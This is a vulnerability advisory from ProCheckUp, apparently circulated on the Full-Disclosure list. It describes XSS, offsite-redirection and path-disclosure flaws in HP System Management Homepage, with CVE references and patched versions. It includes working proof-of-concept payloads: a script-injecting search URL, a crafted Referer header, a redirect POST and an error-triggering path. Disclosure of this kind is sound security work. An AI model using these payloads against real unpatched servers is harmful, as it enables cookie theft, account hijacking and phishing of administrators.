PR10-11: Multiple XSS injection vulnerabilities and a offsite redirection flaw within HP System Management Homepage (Insight Manager) Vulnerability found: 6th June 2010 Date Published 20th May 2011 Severity: Medium Description: XSS vulnerabilities have been found within HP System Management; Arising from insufficient input filtering. By using a specially-crafted link, and tricking the victim into clicking on it, an attacker can perform malicious attacks such as the following: - Hijack user accounts by stealing the victim's cookies that are assigned to the victim's browser by the vulnerable website - Hijack user accounts by injecting a "fake" html form on the html rendered by the victim's web browser - Redirect the victim to a malicious third-party website which would perform a phishing attack to steal the user credentials or exploit a vulnerability (i.e.: buffer overflow) on the victim's web browser in order to compromise the victim's workstation Notes: Authentication is normally needed, unless system has been configured to support anonymous autologin. Successfully tested on: Version v3.0.0.64 windows Version v6.0.0.96 windows Version v6.1.0.102 windows Version v6.1.0.103 linux Tested on Windows 2008 64bit, Windows 2003 and Centos/Red Hat enterprise Hardware Proliant DL380 G5, DL360 G5, DL380 G4 1) Basic reflective XSS attack (Windows only). Proof of concept (move mouse pointer over search input box): https://target-domain.foo:2381/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1); References: HP Customer Notice: HPSBMA02615 SSRT100228 rev.1 CVE-2010-4111 Fix: HP have issued a fix, download the appropiate update for your operating system ensuring the sytem management agent is at least version v8.5.1.3712 or above. 2) Referer header XSS attack - data needs to be sent using the POST method POST https://target-domain.foo:2381/hmaserv/common/setitem.php host: target-domain.foo:2381 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Referer: http://www.procheckup.com</script><script>alert(1)</script> Cookie: Compaq-HMMD=0001-7252052a-43b2-fb4a-951f-78af9561826a-1275875265807763; References: HP Customer Notice: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02735590 CVE-2010-3283 Fix: HP have issued a fix, download the appropiate update for your operating system ensuring the sytem management agent is at least version v8.70.0.0 or above. 3) Offsite redirection by injecting //www.procheckup.com which is taken as a valid URL by the Firefox web-browser. Submitting instead http://www.procheckup.com is blocked POST https://target-domain.foo:2381/proxy/ssllogin Host: target-domain.foo:2381 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729) Content-Type: application/x-www-form-urlencoded Content-Length: 62 redirecturl=//www.procheckup.com&user=avalidusername&password=avalidpassword References: HP Customer Notice:http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02735590 CVE-2011-1537 Fix: HP have issued a fix, download the appropiate update for your operating system ensuring the sytem management agent is at least version v8.5.1.3712 or above. 4) Information disclosure (many such cases) - webroot is disclosed. https://target-domain.foo:2381/hmanics/hmanics.snmp.php For windows :- Fatal error: Call to undefined function QueueSNMP() in C:\hp\hpsmh\data\htdocs\hmanics\hmanics.snmp.php.en on line 3 For Linux:- Fatal error: Call to undefined function QueueSNMP() in /opt/hp/hpsmh/data/htdocs/hmanics/hmanics.snmp.php.en on line 3 Consequences: Attackers can force the victim's web browser to perform XSS/HTML injection in the security context of the vulnerable site in order to gather data from users who visit a page within the target site. References: HP Customer Notice: HPSN-2008-002 CVE-2010-4112 Fix: HP have issued a fix, download the appropiate update for your operating system ensuring the sytem management agent is at least version v8.5.1.3712 or above. Credits: Richard Brain of ProCheckUp Ltd (www.procheckup.com) Legal: Copyright 2010 ProCheckUp Ltd. All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes. Any other use of this information is prohibited. ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/